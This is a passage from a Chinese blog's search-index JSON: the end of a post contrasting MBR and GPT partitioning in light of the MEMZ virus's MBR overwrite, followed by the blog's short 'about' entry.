倍。此时，可支持的硬盘容量受限的瓶颈在于操作系统、文件系统等等软件的限制了（当然现实中也很难造出如此大容量的硬盘）。\n可支持的分区更多 先前提到MBR的分区表大小为64个字节，按照设计每个分区的信息占据16字节，因此MBR最多只能划分4个主分区。而GPT的分区表是动态扩展的，理论上对分区数目没有限制。但一些操作系统（例如微软）默认GPT最多可支持128个分区。当然现实中需要用到128个分区以上的情况也是极少数的。\n除此之外，GPT分区相较于MBR还有提供备份分区表、使用CRC32保证完整性等等优势。随着时间的车轮滚滚向前，MBR与BIOS两兄弟在GPT与UEFI的光芒下显得黯然失色。即使保持着兼容性，如今的操作系统也逐渐不认可MBR分区了。\nGPT分区的LBA 0内容为传统的MBR（Legacy Master Boot Record）或保护性MBR（Protective MBR），这意味着MEMZ.exe仍然可以破坏这些地方。但可能UEFI不再会识别MEMZ.exe覆写MBR的代码，计算机感染后开机也不会播放彩虹猫动画和音乐。如今MEMZ.exe也已经迭代了更安全的版本，可以在不破坏电脑的情况下重温病毒感染时的动画效果。\n","permalink":"https://a7ca3.github.io/post/%E7%94%B1memz.exe%E6%B5%85%E8%B0%88mbr%E5%88%86%E5%8C%BA/","summary":"\u003cp\u003e初中的时候很喜欢在B站看彩虹猫病毒的视频。视频内容要么是“彩虹猫在xx系统运行”，要么就是\u0026quot;彩虹猫大战各种杀软\u0026quot;，实在没活了之后又能换款病毒像前两种继续水视频，基本上没有太多技术含量而言。如今也想不明白自己当初为什么会着迷这种视频。\u003c/p\u003e","title":"由MEMZ.exe浅谈MBR分区"},{"content":"如果你有更好的建议和想吐槽的点，欢迎发送邮箱到 a7ca39@gmail.com ！ 本博客正在施工中🚧，在此期间如果你有什么建议，也欢迎发送邮箱或在评论区留言。\n","permalink":"https://a7ca3.github.io/about/","summary":"about","title":"关于"}]